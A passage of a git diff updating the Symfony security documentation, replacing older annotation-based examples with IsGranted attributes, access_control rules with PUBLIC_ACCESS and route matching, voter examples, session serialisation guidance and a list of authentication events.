Symfony\Component\Security\Http\Attribute\IsGranted; - + /** - + * Require ROLE_ADMIN for *every* controller method in this class. - + * - + * @IsGranted("ROLE_ADMIN") - + */ + #[IsGranted('ROLE_ADMIN')] class AdminController extends AbstractController { - + /** - + * Require ROLE_ADMIN for only this controller method. - + * - + * @IsGranted("ROLE_ADMIN") - + */ - public function adminDashboard() + // Optionally, you can set a custom message that will be displayed to the user + #[IsGranted('ROLE_SUPER_ADMIN', message: 'You are not allowed to access the admin dashboard.')] + public function adminDashboard(): Response { // ... } } -For more information, see the `FrameworkExtraBundle documentation`_. - -.. _security-template: - -Access Control in Templates -........................... - -If you want to check if the current user has a certain role, you can use -the built-in ``is_granted()`` helper function in any Twig template: - -.. code-block:: html+twig - - {% if is_granted('ROLE_ADMIN') %} - <a href="...">Delete</a> - {% endif %} - -Securing other Services -....................... - -See :doc:`/security/securing_services`. +If you want to use a custom status code instead of the default one (which +is 403), this can be done by setting with the ``statusCode`` argument:: -Setting Individual User Permissions -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + // src/Controller/AdminController.php + // ... -Most applications require more specific access rules. For instance, a user -should be able to only edit their *own* comments on a blog. Voters allow you -to write *whatever* business logic you need to determine access. Using -these voters is similar to the role-based access checks implemented in the -previous chapters. Read :doc:`/security/voters` to learn how to implement -your own voter. + use Symfony\Component\Security\Http\Attribute\IsGranted; -Checking to see if a User is Logged In (IS_AUTHENTICATED_FULLY) -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + #[IsGranted('ROLE_ADMIN', statusCode: 423)] + class AdminController extends AbstractController + { + // ... + } -If you *only* want to check if a user is logged in (you don't care about roles), -you have two options. First, if you've given *every* user ``ROLE_USER``, you can -check for that role. Otherwise, you can use a special "attribute" in place of a -role:: +You can also set the internal exception code of the +:class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException` +that is thrown with the ``exceptionCode`` argument:: + // src/Controller/AdminController.php // ... - public function adminDashboard() - { - $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY'); + use Symfony\Component\Security\Http\Attribute\IsGranted; + #[IsGranted('ROLE_ADMIN', statusCode: 403, exceptionCode: 10010)] + class AdminController extends AbstractController + { // ... } -You can use ``IS_AUTHENTICATED_FULLY`` anywhere roles are used: like -``access_control`` or in Twig. +.. _security-template: -``IS_AUTHENTICATED_FULLY`` isn't a role, but it kind of acts like one, and every -user that has logged in will have this. Actually, there are some special attributes -like this: +Access Control in Templates +........................... -* ``IS_AUTHENTICATED_REMEMBERED``: *All* logged in users have this, even - if they are logged in because of a "remember me cookie". Even if you don't - use the :doc:`remember me functionality </security/remember_me>`, - you can use this to check if the user is logged in. +If you want to check if the current user has a certain role, you can use +the built-in ``is_granted()`` helper function in any Twig template: -* ``IS_AUTHENTICATED_FULLY``: This is similar to ``IS_AUTHENTICATED_REMEMBERED``, - but stronger. Users who are logged in only because of a "remember me cookie" - will have ``IS_AUTHENTICATED_REMEMBERED`` but will not have ``IS_AUTHENTICATED_FULLY``. +.. code-block:: html+twig -* ``IS_AUTHENTICATED_ANONYMOUSLY``: *All* users (even anonymous ones) have - this - this is useful when *whitelisting* URLs to guarantee access - some - details are in :doc:`/security/access_control`. + {% if is_granted('ROLE_ADMIN') %} + <a href="...">Delete</a> + {% endif %} -* ``IS_ANONYMOUS``: *Only* anonymous users are matched by this attribute. +.. _security-isgranted: -* ``IS_REMEMBERED``: *Only* users authenticated using the - :doc:`remember me functionality </security/remember_me>`, (i.e. a - remember-me cookie). +Similarly, if you want to check if a specific user has a certain role, you can use +the built-in ``is_granted_for_user()`` helper function: -* ``IS_IMPERSONATOR``: When the current user is - :doc:`impersonating </security/impersonating_user>` another user in this - session, this attribute will match. +.. code-block:: html+twig -.. versionadded:: 5.1 + {% if is_granted_for_user(user, 'ROLE_ADMIN') %} + <a href="...">Delete</a> + {% endif %} - The ``IS_ANONYMOUS``, ``IS_REMEMBERED`` and ``IS_IMPERSONATOR`` - attributes were introduced in Symfony 5.1. +.. _security-isgrantedforuser: -.. _retrieving-the-user-object: +Securing other Services +....................... -5a) Fetching the User Object ----------------------------- +You can check access *anywhere* in your code by injecting the ``Security`` +service. For example, suppose you have a ``SalesReportManager`` service and you +want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` role: -After authentication, the ``User`` object of the current user can be accessed -via the ``getUser()`` shortcut:: +.. code-block:: diff - public function index() - { - // usually you'll want to make sure the user is authenticated first - $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY'); + // src/SalesReport/SalesReportManager.php - // returns your User object, or null if the user is not authenticated - // use inline documentation to tell your editor your exact User class - /** @var \App\Entity\User $user */ - $user = $this->getUser(); + // ... + use Symfony\Component\Security\Core\Exception\AccessDeniedException; + + use Symfony\Bundle\SecurityBundle\Security; - // Call whatever methods you've added to your User class - // For example, if you added a getFirstName() method, you can use that. - return new Response('Well hi there '.$user->getFirstName()); - } + class SalesReportManager + { + + public function __construct( + + private Security $security, + + ) { + + } -5b) Fetching the User from a Service ------------------------------------- + public function generateReport(): void + { + $salesData = []; -If you need to get the logged in user from a service, use the -:class:`Symfony\\Component\\Security\\Core\\Security` service:: + + if ($this->security->isGranted('ROLE_SALES_ADMIN')) { + + $salesData['top_secret_numbers'] = rand(); + + } - // src/Service/ExampleService.php - // ... + // ... + } - use Symfony\Component\Security\Core\Security; + // ... + } - class ExampleService - { - private $security; - public function __construct(Security $security) - { - // Avoid calling getUser() in the constructor: auth may not - // be complete yet. Instead, store the entire Security object. - $this->security = $security; - } +.. tip:: - public function someMethod() - { - // returns User object or null if not authenticated - $user = $this->security->getUser(); - } - } + The ``isGranted()`` method checks authorization for the currently logged-in user. + If you need to check authorization for a different user or when the user session + is unavailable (e.g., in a CLI context such as a message queue or cron job), you + can use the ``isGrantedForUser()`` method to explicitly set the target user. -Fetch the User in a Template -~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + .. versionadded:: 7.3 -In a Twig Template the user object is available via the ``app.user`` variable -thanks to the :ref:`Twig global app variable <twig-app-variable>`: + The :method:`Symfony\\Bundle\\SecurityBundle\\Security::isGrantedForUser` + method was introduced in Symfony 7.3. -.. code-block:: html+twig +If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`, +Symfony will automatically pass the ``security.helper`` to your service +thanks to autowiring and the ``Security`` type-hint. - {% if is_granted('IS_AUTHENTICATED_FULLY') %} - <p>Email: {{ app.user.email }}</p> - {% endif %} +You can also use a lower-level +:class:`Symfony\\Component\\Security\\Core\\Authorization\\AuthorizationCheckerInterface` +service. It does the same thing as ``Security``, but allows you to type-hint a +more-specific interface. -.. _security-logging-out: +Allowing Unsecured Access (i.e. Anonymous Users) +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Logging Out ------------ +When a visitor isn't yet logged in to your website, they are treated as +"unauthenticated" and don't have any roles. This will block them from +visiting your pages if you defined an ``access_control`` rule. -To enable logging out, activate the ``logout`` config parameter under your firewall: +In the ``access_control`` configuration, you can use the ``PUBLIC_ACCESS`` +security attribute to exclude some routes for unauthenticated access (e.g. +the login page): .. configuration-block:: @@ -859,16 +2625,14 @@ To enable logging out, activate the ``logout`` config parameter under your fire # config/packages/security.yaml security: - # ... - firewalls: - main: - # ... - logout: - path: app_logout + # ... + access_control: + # allow unauthenticated users to access the login form + - { path: ^/admin/login, roles: PUBLIC_ACCESS } - # where to redirect after logout - # target: app_any_route + # but require authentication for all other admin routes + - { path: ^/admin, roles: ROLE_ADMIN } .. code-block:: xml @@ -882,121 +2646,207 @@ To enable logging out, activate the ``logout`` config parameter under your fire http://symfony.com/schema/dic/security https://symfony.com/schema/dic/security/security-1.0.xsd"> - <config> + <config enable-authenticator-manager="true"> <!-- ... --> - <firewall name="secured_area"> - <!-- ... --> - <logout path="app_logout"/> - </firewall> + <access-control> + <!-- allow unauthenticated users to access the login form --> + <rule path="^/admin/login" role="PUBLIC_ACCESS"/> + + <!-- but require authentication for all other admin routes --> + <rule path="^/admin" role="ROLE_ADMIN"/> + </access-control> </config> </srv:container> .. code-block:: php // config/packages/security.php - $container->loadFromExtension('security', [ - // ... + use Symfony\Component\Security\Core\Authorization\Voter\AuthenticatedVoter; + use Symfony\Config\SecurityConfig; - 'firewalls' => [ - 'secured_area' => [ - // ... - 'logout' => ['path' => 'app_logout'], - ], - ], - ]); + return static function (SecurityConfig $security): void { + $security->enableAuthenticatorManager(true); + // .... -Next, you'll need to create a route for this URL (but not a controller): + // allow unauthenticated users to access the login form + $security->accessControl() + ->path('^/admin/login') + ->roles([AuthenticatedVoter::PUBLIC_ACCESS]) + ; -.. configuration-block:: + // but require authentication for all other admin routes + $security->accessControl() + ->path('^/admin') + ->roles(['ROLE_ADMIN']) + ; + }; - .. code-block:: php-annotations +Granting Anonymous Users Access in a Custom Voter +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // src/Controller/SecurityController.php - namespace App\Controller; +If you're using a :doc:`custom voter </security/voters>`, you can allow +anonymous users access by checking if there is no user set on the token:: - use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; + // src/Security/PostVoter.php + namespace App\Security; - class SecurityController extends AbstractController + // ... + use Symfony\Component\Security\Core\Authentication\Token\TokenInterface; + use Symfony\Component\Security\Core\Authentication\User\UserInterface; + use Symfony\Component\Security\Core\Authorization\Voter\Vote; + use Symfony\Component\Security\Core\Authorization\Voter\Voter; + + class PostVoter extends Voter + { + // ... + + protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token, ?Vote $vote = null): bool { - /** - * @Route("/logout", name="app_logout", methods={"GET"}) - */ - public function logout() - { - // controller can be blank: it will never be executed! - throw new \Exception('Don\'t forget to activate logout in security.yaml'); + // ... + + if (!$token->getUser() instanceof UserInterface) { + // the user is not authenticated, e.g. only allow them to + // see public posts + return $subject->isPublic(); } } + } - .. code-block:: yaml +.. versionadded:: 7.3 + + The ``$vote`` argument of the ``voteOnAttribute()`` method was introduced + in Symfony 7.3. - # config/routes.yaml - app_logout: - path: /logout - methods: GET +Setting Individual User Permissions +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - .. code-block:: xml +Most applications require more specific access rules. For instance, a user +should be able to only edit their *own* comments on a blog. Voters allow you +to write *whatever* business logic you need to determine access. Using +these voters is similar to the role-based access checks implemented in the +previous chapters. Read :doc:`/security/voters` to learn how to implement +your own voter. - <!-- config/routes.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <routes xmlns="http://symfony.com/schema/routing" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/routing - https://symfony.com/schema/routing/routing-1.0.xsd"> +.. _checking-to-see-if-a-user-is-logged-in-is-authenticated-fully: - <route id="app_logout" path="/logout" methods="GET"/> - </routes> +Checking to see if a User is Logged In +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - .. code-block:: php +If you *only* want to check if a user is logged in (you don't care about roles), +you have the following two options. - // config/routes.php - use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; +Firstly, if you've given *every* user ``ROLE_USER``, you can check for that role. - return function (RoutingConfigurator $routes) { - $routes->add('app_logout', '/logout') - ->methods(['GET']) - ; - }; +Secondly, you can use the special "attribute" ``IS_AUTHENTICATED`` in place of a role:: -And that's it! By sending a user to the ``app_logout`` route (i.e. to ``/logout``) -Symfony will un-authenticate the current user and redirect them. + // ... -Customizing Logout -~~~~~~~~~~~~~~~~~~ + public function adminDashboard(): Response + { + $this->denyAccessUnlessGranted('IS_AUTHENTICATED'); + + // ... + } -.. versionadded:: 5.1 +You can use ``IS_AUTHENTICATED`` anywhere roles are used: like +``access_control`` or in Twig. - The ``LogoutEvent`` was introduced in Symfony 5.1. Prior to this - version, you had to use a - :ref:`logout success handler <reference-security-logout-success-handler>` - to customize the logout. +``IS_AUTHENTICATED`` isn't a role, but it kind of acts like one, and every +user that has logged in will have this. Actually, there are some special attributes +like this: -In some cases you need to execute extra logic upon logout (e.g. invalidate -some tokens) or want to customize what happens after a logout. During -logout, a :class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent` -is dispatched. Register an :doc:`event listener or subscriber </event_dispatcher>` -to execute custom logic. The following information is available in the -event class: +* ``IS_AUTHENTICATED_FULLY``: This is similar to ``IS_AUTHENTICATED_REMEMBERED``, + but stronger. Users who are logged in only because of a "remember me cookie" + will have ``IS_AUTHENTICATED_REMEMBERED`` but will not have ``IS_AUTHENTICATED_FULLY``. + +* ``IS_REMEMBERED``: *Only* users authenticated using the + :doc:`remember me functionality </security/remember_me>`, (i.e. a + remember-me cookie). + +* ``IS_IMPERSONATOR``: When the current user is + :doc:`impersonating </security/impersonating_user>` another user in this + session, this attribute will match. + +.. _user_session_refresh: + +Understanding how Users are Refreshed from the Session +------------------------------------------------------ + +At the end of every request (unless your firewall is ``stateless``), your +``User`` object is serialized to the session. At the beginning of the next +request, it's deserialized and then passed to your user provider to "refresh" it +(e.g. Doctrine queries for a fresh user). + +Then, the two User objects (the original from the session and the refreshed User +object) are "compared" to see if they are "equal". By default, the core +``AbstractToken`` class compares the return values of the ``getPassword()``, +``getSalt()`` and ``getUserIdentifier()`` methods. If any of these are different, +your user will be logged out. This is a security measure to make sure that malicious +users can be de-authenticated if core user data changes. + +Storing the (plain or hashed) password in the session can be a security risk. +To mitigate this, implement the ``__serialize()`` magic method in your user class +to exclude or transform the password before storing the serialized user object +in the session. + +Two strategies are supported: + +#. Remove the password completely. After unserialization, ``getPassword()`` returns + ``null`` and Symfony refreshes the user without checking the password. Use this + only if you store plaintext passwords (not recommended). +#. Hash the password using the ``crc32c`` algorithm. Symfony will hash the password + of the refreshed user and compare it to the session value. This approach avoids + storing the real hash and lets you invalidate sessions on password change. + + Example (assuming the password is stored in a private property called ``password``):: + + public function __serialize(): array + { + $data = (array) $this; + $data["\0".self::class."\0password"] = hash('crc32c', $this->password); + + return $data; + } + +.. versionadded:: 7.3 + + Support for hashing passwords with ``crc32c`` in session serialization was + introduced in Symfony 7.3. + +If you're having problems authenticating, it could be that you *are* authenticating +successfully, but you immediately lose authentication after the first redirect. + +In that case, review the serialization logic (e.g. the ``__serialize()`` or +``serialize()`` methods) on your user class (if you have any) to make sure +that all the fields necessary are serialized and also exclude all the +fields not necessary to be serialized (e.g. Doctrine relations). -``getToken()`` - Returns the security token of the session that is about to be logged - out. -``getRequest()`` - Returns the current request. -``getResponse()`` - Returns a response, if it is already set by a custom listener. Use - ``setResponse()`` to configure a custom logout response. +Comparing Users Manually with EquatableInterface +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Or, if you need more control over the "compare users" process, make your User class +implement :class:`Symfony\\Component\\Security\\Core\\User\\EquatableInterface`. +Then, your ``isEqualTo()`` method will be called when comparing users instead +of the core logic. + +.. _security-security-events: + +Security Events +--------------- +During the authentication process, multiple events are dispatched that allow you +to hook into the process or customize the response sent back to the user. You +can do this by creating an :doc:`event listener or subscriber </event_dispatcher>` +for these events. .. tip:: Every Security firewall has its own event dispatcher - (``security.event_dispatcher.FIREWALLNAME``). The logout event is - dispatched on both the global and firewall dispatcher. You can register + (``security.event_dispatcher.FIREWALLNAME``). Events are dispatched on + both the global and the firewall-specific dispatcher. You can register on the firewall dispatcher if you want your listener to only be - executed for a specific firewall. For instance, if you have an ``api`` + called for a specific firewall. For instance, if you have an ``api`` and ``main`` firewall, use this configuration to register only on the logout event in the ``main`` firewall: @@ -1008,7 +2858,7 @@ event class: services: # ... - App\EventListener\CustomLogoutSubscriber: + App\EventListener\LogoutSubscriber: tags: - name: kernel.event_subscriber dispatcher: security.event_dispatcher.main @@ -1025,9 +2875,9 @@ event class: <services> <!-- ... --> - <service id="App\EventListener\CustomLogoutSubscriber"> + <service id="App\EventListener\LogoutSubscriber"> <tag name="kernel.event_subscriber" - dispacher="security.event_dispatcher.main" + dispatcher="security.event_dispatcher.main" /> </service> </services> @@ -1038,112 +2888,81 @@ event class: // config/services.php namespace Symfony\Component\DependencyInjection\Loader\Configurator; - use App\EventListener\CustomLogoutListener; - use App\EventListener\CustomLogoutSubscriber; - use Symfony\Component\Security\Http\Event\LogoutEvent; + use App\EventListener\LogoutSubscriber; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); - $services->set(CustomLogoutSubscriber::class) + $services->set(LogoutSubscriber::class) ->tag('kernel.event_subscriber', [ 'dispatcher' => 'security.event_dispatcher.main', ]); }; -.. _security-role-hierarchy: - -Hierarchical Roles ------------------- - -Instead of giving many roles to each user, you can define role inheritance -rules by creating a role hierarchy: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - # ... - - role_hierarchy: - ROLE_ADMIN: ROLE_USER - ROLE_SUPER_ADMIN: [ROLE_ADMIN, ROLE_ALLOWED_TO_SWITCH] - - .. code-block:: xml +Authentication Events +~~~~~~~~~~~~~~~~~~~~~ - <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:srv="http://symfony.com/schema/dic/services" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd"> +.. raw:: html - <config> - <!-- ... --> + <object data="_images/security/security_events.svg" type="image/svg+xml" + alt="A flow diagram showing the authentication events that are described in this section in a request-response cycle." + ></object> - <role id="ROLE_ADMIN">ROLE_USER</role> - <role id="ROLE_SUPER_ADMIN">ROLE_ADMIN, ROLE_ALLOWED_TO_SWITCH</role> - </config> - </srv:container> +:class:`Symfony\\Component\\Security\\Http\\Event\\CheckPassportEvent` + Dispatched after the authenticator created the :ref:`security passport <security-passport>`. + Listeners of this event do the actual authentication checks (like + checking the passport, validating the CSRF token, etc.) - .. code-block:: php +:class:`Symfony\\Component\\Security\\Http\\Event\\AuthenticationTokenCreatedEvent` + Dispatched after the passport was validated and the authenticator + created the security token (and user). This can be used in advanced use-cases + where you need to modify the created token (e.g. for multi factor + authentication). - // config/packages/security.php - $container->loadFromExtension('security', [ - // ... +:class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationSuccessEvent` + Dispatched when authentication is nearing success. This is the last + event that can make an authentication fail by throwing an + ``AuthenticationException``. - 'role_hierarchy' => [ - 'ROLE_ADMIN' => 'ROLE_USER', - 'ROLE_SUPER_ADMIN' => [ - 'ROLE_ADMIN', - 'ROLE_ALLOWED_TO_SWITCH', - ], - ], - ]); +:class:`Symfony\\Component\\Security\\Http\\Event\\LoginSuccessEvent` + Dispatched after authentication was fully successful. Listeners to this + event can modify the response sent back to the user. -Users with the ``ROLE_ADMIN`` role will also have the -``ROLE_USER`` role. And users with ``ROLE_SUPER_ADMIN``, will automatically have -``ROLE_ADMIN``, ``ROLE_ALLOWED_TO_SWITCH`` and ``ROLE_USER`` (inherited from ``ROLE_ADMIN``). +:class:`Symfony\\Component\\Security\\Http\\Event\\LoginFailureEvent` + Dispatched after an ``AuthenticationException`` was thrown during + authentication. Listeners to this event can modify the error response + sent back to the user. -For role hierarchy to work, do not try to call ``$user->getRoles()`` manually. -For example, in a controller extending from the :ref:`base controller <the-base-controller-class-services>`:: +Other Events +~~~~~~~~~~~~ - // BAD - $user->getRoles() will not know about the role hierarchy - $hasAccess = in_array('ROLE_ADMIN', $user->getRoles()); +:class:`Symfony\\Component\\Security\\Http\\Event\\InteractiveLoginEvent` + Dispatched after authentication was fully successful only when the authenticator + implements :class:`Symfony\\Component\\Security\\Http\\Authenticator\\InteractiveAuthenticatorInterface`, + which indicates login requires explicit user action (e.g. a login form). + Listeners to this event can modify the response sent back to the user. - // GOOD - use of the normal security methods - $hasAccess = $this->isGranted('ROLE_ADMIN'); - $this->denyAccessUnlessGranted('ROLE_ADMIN'); +:class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent` + Dispatched just before a user logs out of your application. See + :ref:`security-logging-out`. -.. note:: +:class:`Symfony\\Component\\Security\\Http\\Event\\TokenDeauthenticatedEvent` + Dispatched when a user is deauthenticated, for instance because the + password was changed. See :ref:`user_session_refresh`. - The ``role_hierarchy`` values are static - you can't, for example, store the - role hierarchy in a database. If you need that, create a custom - :doc:`security voter </security/voters>` that looks for the user roles - in the database. +:class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent` + Dispatched after impersonation is completed. See + :doc:`/security/impersonating_user`. Frequently Asked Questions -------------------------- **Can I have Multiple Firewalls?** - Yes! But it's usually not necessary. Each firewall is like a separate security - system. And so, unless you have *very* different authentication needs, one - firewall usually works well. With :doc:`Guard authentication </security/guard_authentication>`, - you can create various, diverse ways of allowing authentication (e.g. form login, - API key authentication and LDAP) all under the same firewall. - -**Can I Share Authentication Between Firewalls?** - Yes, but only with some configuration. If you're using multiple firewalls and - you authenticate against one firewall, you will *not* be authenticated against - any other firewalls automatically. Different firewalls are like different security - systems. To do this you have to explicitly specify the same - :ref:`reference-security-firewall-context` for different firewalls. But usually - for most applications, having one main firewall is enough. + Yes! However, each firewall is like a separate security system: being authenticated + in one firewall doesn't make you authenticated in another one. Each firewall can have + multiple ways of allowing authentication (e.g. form login, and API key authentication). + If you want to share authentication between firewalls, you have to explicitly + specify the same :ref:`reference-security-firewall-context` for different firewalls. **Security doesn't seem to work on my Error Pages** As routing is done *before* security, 404 error pages are not covered by @@ -1155,7 +2974,7 @@ Frequently Asked Questions Sometimes authentication may be successful, but after redirecting, you're logged out immediately due to a problem loading the ``User`` from the session. To see if this is an issue, check your log file (``var/log/dev.log``) for - the log message: + the log message. **Cannot refresh token because user has changed** If you see this, there are two possible causes. First, there may be a problem @@ -1172,23 +2991,16 @@ Authentication (Identifying/Logging in the User) .. toctree:: :maxdepth: 1 - security/experimental_authenticators - security/form_login_setup - security/reset_password - security/json_login_setup - security/guard_authentication - security/password_migration - security/auth_providers - security/user_provider + security/passwords security/ldap security/remember_me security/impersonating_user security/user_checkers - security/named_encoders - security/multiple_guard_authenticators security/firewall_restriction security/csrf - security/custom_authentication_provider + security/form_login + security/custom_authenticator + security/entry_point Authorization (Denying Access) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -1197,13 +3009,17 @@ Authorization (Denying Access) :maxdepth: 1 security/voters - security/securing_services security/access_control + security/expressions security/access_denied_handler - security/acl security/force_https -.. _`FrameworkExtraBundle documentation`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html .. _`HWIOAuthBundle`: https://github.com/hwi/HWIOAuthBundle -.. _`Symfony Security screencast series`: https://symfonycasts.com/screencast/symfony-security +.. _`OWASP Brute Force Attacks`: https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks +.. _`brute force login attacks`: https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html +.. _`SymfonyCastsVerifyEmailBundle`: https://github.com/symfonycasts/verify-email-bundle +.. _`HTTP Basic authentication`: https://en.wikipedia.org/wiki/Basic_access_authentication +.. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests +.. _`PHP date relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative +.. _`Oauth2-client`: https://github.com/thephpleague/oauth2-client diff --git a/security/_supportsToken.rst.inc b/security/_supportsToken.rst.inc deleted file mode 100644 index e4403123a01..00000000000 --- a/security/_supportsToken.rst.inc +++ /dev/null @@ -1,10 +0,0 @@ -After Symfony calls ``createToken()``, it will then call ``supportsToken()`` -on your class (and any other authentication listeners) to figure out who should -handle the token. This is just a way to allow several authentication mechanisms -to be used for the same firewall (that way, you can for instance first try -to authenticate the user via a certificate or an API key and fall back to -a form login). - -Essentially, you need to make sure that this method returns ``true`` for a -token that has been created by ``createToken()``. Your logic should probably -look exactly like this example. diff --git a/security/access_control.rst b/security/access_control.rst index 225687c02f6..8e62e8a84c7 100644 --- a/security/access_control.rst +++ b/security/access_control.rst @@ -19,16 +19,19 @@ things: 1. Matching Options ------------------- -Symfony creates an instance of :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher` -for each ``access_control`` entry, which determines whether or not a given -access control should be used on this request. The following ``access_control`` -options are used for matching: +Symfony uses :class:`Symfony\\Component\\HttpFoundation\\ChainRequestMatcher` for +each ``access_control`` entry, which determines which implementation of +:class:`Symfony\\Component\\HttpFoundation\\RequestMatcherInterface` should be used +on this request. The following ``access_control`` options are used for matching: * ``path``: a regular expression (without delimiters) * ``ip`` or ``ips``: netmasks are also supported (can be a comma-separated string) * ``port``: an integer * ``host``: a regular expression -* ``methods``: one or many methods +* ``methods``: one or many HTTP methods +* ``request_matcher``: a service implementing ``RequestMatcherInterface`` +* ``attributes``: an array, which can be used to specify one or more :ref:`request attributes <accessing-request-data>` that must match exactly +* ``route``: a route name Take the following ``access_control`` entries as an example: @@ -43,8 +46,8 @@ Take the following ``access_control`` entries as an example: security: # ... access_control: - - { path: '^/admin', roles: ROLE_USER_IP, ip: 127.0.0.1 } - { path: '^/admin', roles: ROLE_USER_PORT, ip: 127.0.0.1, port: 8080 } + - { path: '^/admin', roles: ROLE_USER_IP, ip: 127.0.0.1 } - { path: '^/admin', roles: ROLE_USER_HOST, host: symfony\.com$ } - { path: '^/admin', roles: ROLE_USER_METHOD, methods: [POST, PUT] } @@ -52,10 +55,17 @@ Take the following ``access_control`` entries as an example: - { path: '^/admin', roles: ROLE_USER_IP, ips: '%env(TRUSTED_IPS)%' } - { path: '^/admin', roles: ROLE_USER_IP, ips: [127.0.0.1, ::1, '%env(TRUSTED_IPS)%'] } + # for custom matching needs, use a request matcher service + - { roles: ROLE_USER, request_matcher: App\Security\RequestMatcher\MyRequestMatcher } + + # require ROLE_ADMIN for 'admin' route. You can use the shortcut "route: "xxx", instead of "attributes": ["_route": "xxx"] + - { attributes: {'_route': 'admin'}, roles: ROLE_ADMIN } + - { route: 'admin', roles: ROLE_ADMIN } + .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -65,13 +75,13 @@ Take the following ``access_control`` entries as an example: https://symfony.com/schema/dic/security/security-1.0.xsd"> <srv:parameters> - <srv:parameter key="env(TRUSTED_IPS)">10.0.0.1, 10.0.0.2</parameter> + <srv:parameter key="env(TRUSTED_IPS)">10.0.0.1, 10.0.0.2</srv:parameter> </srv:parameters> <config> <!-- ... --> - <rule path="^/admin" role="ROLE_USER_IP" ip="127.0.0.1"/> <rule path="^/admin" role="ROLE_USER_PORT" ip="127.0.0.1" port="8080"/> + <rule path="^/admin" role="ROLE_USER_IP" ip="127.0.0.1"/> <rule path="^/admin" role="ROLE_USER_HOST" host="symfony\.com$"/> <rule path="^/admin" role="ROLE_USER_METHOD" methods="POST, PUT"/> @@ -82,92 +92,128 @@ Take the following ``access_control`` entries as an example: <ip>::1</ip> <ip>%env(TRUSTED_IPS)%</ip> </rule> + + <!-- for custom matching needs, use a request matcher service --> + <rule role="ROLE_USER" request-matcher="App\Security\RequestMatcher\MyRequestMatcher"/> + + <!-- require ROLE_ADMIN for 'admin' route. You can use the shortcut route="xxx" --> + <rule role="ROLE_ADMIN"> + <attribute key="_route">admin</attribute> + </rule> + <rule route="admin" role="ROLE_ADMIN"/> </config> </srv:container> .. code-block:: php // config/packages/security.php - $container->setParameter('env(TRUSTED_IPS)', '10.0.0.1, 10.0.0.2'); - $container->loadFromExtension('security', [ + use Symfony\Component\DependencyInjection\ContainerBuilder; + use Symfony\Config\SecurityConfig; + + return static function (ContainerBuilder $container, SecurityConfig $security): void { + $container->setParameter('env(TRUSTED_IPS)', '10.0.0.1, 10.0.0.2'); // ... - 'access_control' => [ - [ - 'path' => '^/admin', - 'roles' => 'ROLE_USER_IP', - 'ips' => '127.0.0.1', - ], - [ - 'path' => '^/admin', - 'roles' => 'ROLE_USER_PORT', - 'ip' => '127.0.0.1', - 'port' => '8080', - ], - [ - 'path' => '^/admin', - 'roles' => 'ROLE_USER_HOST', - 'host' => 'symfony\.com$', - ], - [ - 'path' => '^/admin', - 'roles' => 'ROLE_USER_METHOD', - 'methods' => 'POST, PUT', - ], - - // ips can be comma-separated, which is especially useful when using env variables - [ - 'path' => '^/admin', - 'roles' => 'ROLE_USER_IP', - 'ips' => '%env(TRUSTED_IPS)%', - ], - [ - 'path' => '^/admin', - 'roles' => 'ROLE_USER_IP', - 'ips' => [ - '127.0.0.1', - '::1', - '%env(TRUSTED_IPS)%', - ], - ], - ], - ]); - -.. versionadded:: 5.2 - - Support for comma-separated IP addresses was introduced in Symfony 5.2. + + $security->accessControl() + ->path('^/admin') + ->roles(['ROLE_USER_PORT']) + ->ips(['127.0.0.1']) + ->port(8080) + ; + $security->accessControl() + ->path('^/admin') + ->roles(['ROLE_USER_IP']) + ->ips(['127.0.0.1']) + ; + $security->accessControl() + ->path('^/admin') + ->roles(['ROLE_USER_HOST']) + ->host('symfony\.com$') + ; + $security->accessControl() + ->path('^/admin') + ->roles(['ROLE_USER_METHOD']) + ->methods(['POST', 'PUT']) + ; + // ips can be comma-separated, which is especially useful when using env variables + $security->accessControl() + ->path('^/admin') + ->roles(['ROLE_USER_IP']) + 